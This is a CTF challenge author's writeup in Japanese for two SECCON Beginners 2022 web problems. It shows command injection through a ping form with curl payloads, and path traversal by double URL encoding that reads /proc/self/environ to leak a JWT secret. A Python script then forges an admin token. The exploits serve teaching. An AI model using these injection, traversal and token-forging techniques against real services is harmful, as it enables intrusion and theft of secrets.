SECCON Beginners CTF 2022で出題したWeb問題Util、Ironhandの作問者writeupです。

Util (難易度 Beginner)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

問題を見てみるとフォームに127.0.0.1など入力してcheckボタンを押すことでpingコマンドを指定したIPアドレスへ実行してくれるサービスのようです。

ソースコードを見てみると/util/pingへのPOSTリクエストのaddressパラメータをping -c 1 -W 1 指定アドレス 1>&2に組み込んで実行しています。

		commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
		result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

		c.JSON(200, gin.H{
			"result": string(result),
		})

そこでフォームに127.0.0.1 ; lsという、127.0.0.1へpingを実行したあとにlsコマンドを実行するよう指定して送ろうとするとInvalid IP addressとエラーが出ます。

これはフロントエンド(Webページ側)で

      if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
        ...
      } else {
        document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
      }

というIPアドレスチェックがありそこでエラーが出ています。

フロントエンドでのチェックがOK→リクエストを送信→バックエンドで実行という流れになっているので、リクエストを直接編集することでIPアドレスチェックをバイパスし、任意のコードが実行可能になります。

$ curl -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1;ls"}'
{
  "result": "PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.080 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.080/0.080/0.080 ms\napi\npages\n"
}

apiファイルとpagesディレクトリが見えました。

配布ファイルのDockerfileを見てみるとフラグが/flag_???.txtにあるとわかるので

RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
$ curl -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1;ls /"}'
{
  "result": "PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.069 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.069/0.069/0.069 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"
}

フラグファイルが/flag_A74FIBkN9sELAjOc.txtと判明し

$ curl -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1;cat /flag_A74FIBkN9sELAjOc.txt"}'
100   332  100   278  100    54   1885    366 --:--:-- --:--:-- --:--:--  2289
{
  "result": "PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.195 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.195/0.195/0.195 ms\nctf4b{al1_0vers_4re_i1l}\n"
}

フラグctf4b{al1_0vers_4re_i1l}を取得できました。

Ironhand (難易度 Medium)

docker-compose.ymlファイルを見ると3つのサービスapp secret nginxが動作していることが分かります。

appではログイン機構があり、ユーザー名を指定するとjwtトークンを生成しcookieへ付与し、ログイン後の画面が見れるようになります。

		// Generate JWT token
		claims := &UserClaims{
			&jwt.RegisteredClaims{
				ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour * 24 * 7)),
			},
			username,
			false,
		}
		token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
		secretKey := os.Getenv("JWT_SECRET_KEY")
		tokenString, _ := token.SignedString([]byte(secretKey))

		// Set JWT token in cookie
		cookie := &http.Cookie{
			Name:    "JWT_KEY",
			Value:   tokenString,
			Expires: time.Now().Add(time.Hour * 24 * 7),
		}
		c.SetCookie(cookie)

secretではフラグ文字列を返すサービスで、appでadmin(管理者)としてログインしたときに取得できる仕組みになっています。

		// If you are admin, you can get FLAG
		if claims.IsAdmin {
			res, _ := http.Get("http://secret")
			flag, _ := ioutil.ReadAll(res.Body)
			if err := res.Body.Close(); err != nil {
				return c.String(http.StatusInternalServerError, "Internal Server Error")
			}
			return c.Render(http.StatusOK, "admin", map[string]interface{}{
				"username": claims.Username,
				"flag":     string(flag),
			})
		}

appのログイン機構ではjwtのpayloadのうち、admin(管理者)かどうかを判定するIsAdminパラメータが必ずfalseであるjwtトークンを出力するようになっているためadmin(管理者)としてログインできません。

		// Generate JWT token
		claims := &UserClaims{
			&jwt.RegisteredClaims{
				ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour * 24 * 7)),
			},
			username,
			false, // ここがIsAdminパラメータ
		}

今回のjwtトークン生成はHS256形式で行っており、ユーザー名とIsAdminパラメータを含んだpayloadをJWT_SECRET_KEYで署名することで生成しています。ですのでIsAdminパラメータがtrueのトークンを生成するためには環境変数で指定されているJWT_SECRET_KEYが必要になります。

ここでappの実装を見てみるとファイル取得を行う/staticエンドポイントの実装がパストラバーサルが可能になっていることが分かります。

	e.GET("/static/:file", func(c echo.Context) error {
		path, _ := url.QueryUnescape(c.Param("file"))
		f, err := ioutil.ReadFile("static/" + path)
		if err != nil {
			return c.String(http.StatusNotFound, "No such file")
		}
		return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
	})

もしpathに../などを指定できれば上の階層のファイルを取得できます。

またJWT_SECRET_KEYは環境変数で指定されていますがLinuxではプロセスからそのプロセスへ付与されている環境変数を/proc/self/environから取得できる仕組みがあります。

よってpathに../../proc/self/environを指定してJWT_SECRET_KEYを取得→IsAdminパラメータがtrueのjwtトークンを偽造することでフラグを取得できます。

ただし、appへアクセスするときにはnginxを経由する構成になっており、nginxでURL中の../が弾かれてしまうためそのまま指定するだけではJWT_SECRET_KEYを取得できません。

appではurl.QueryUnescapeというURLエンコードされた文字列をデコードする処理が行われていますがこれは2回URLエンコードを行った文字列のデコードにも対応している関数なので../../proc/self/environを2回URLエンコードを行った文字列%252e%252e%252f%252e%252e%252fproc/self/environを指定することでnginxに弾かれることなくJWT_SECRET_KEYを取得できます

$ curl "https://ironhand.quals.beginners.seccon.jp/static/%252e%252e%252f%252e%252e%252fproc/self/environ" -o env.txt ; cat env.txt ; rm env.txt
HOSTNAME=a98210d82749JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dSHLVL=1HOME=/home/appuserPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app

JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dと取得できたのでこれでjwtトークンを偽造することでフラグを取得できます。

import re, os
import requests
import jwt
import time


def crawl(url):
    try:
        s = requests.Session()
        req = requests.Request(
            method="GET",
            url=url,
        )
        prep = req.prepare()
        prep.url = url + "/static/%252e%252e%252f%252e%252e%252fproc/self/environ"
        res = s.send(prep, verify=False, timeout=3)
        res.raise_for_status()
        m = re.search(r"JWT_SECRET_KEY=(.*)SHLVL=", res.text)
        secret_key = m.group(1)[0:32]
        print(secret_key)

        header = {"typ": "JWT", "alg": "HS256"}
        payload = {
            "exp": int(time.time()) + 1000000,
            "Username": "test",
            "IsAdmin": True,
        }
        token = jwt.encode(
            payload=payload,
            key=secret_key,
            algorithm="HS256",
            headers=header,
        )
        print(token)

        cookies = dict(JWT_KEY=token)
        r = requests.get(url, cookies=cookies, timeout=3)
        print(r.text)
        return 0
    except Exception as e:
        print(e)
        return 2


if __name__ == "__main__":
    print(crawl("https://ironhand.quals.beginners.seccon.jp"))

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

Double encoding以外にもNginxの設定でmerge_slashes offとなっていることから/の数を増やして

$ curl --path-as-is "https://ironhand.quals.beginners.seccon.jp/static/..//../proc/self/environ" -o env.txt ; cat env.txt ; rm env.txt
$ curl --path-as-is "https://ironhand.quals.beginners.seccon.jp/static//../../proc/self/environ" -o env.txt ; cat env.txt ; rm env.txt

でも取得できます。

他にも/proc/self/environself1でもOKなので

$ curl "https://ironhand.quals.beginners.seccon.jp/static/%252e%252e%252f%252e%252e%252fproc/1/environ" -o env.txt ; cat env.txt ; rm env.txt
$ curl --path-as-is "https://ironhand.quals.beginners.seccon.jp/static/..//../proc/1/environ" -o env.txt ; cat env.txt ; rm env.txt

でも取得できます。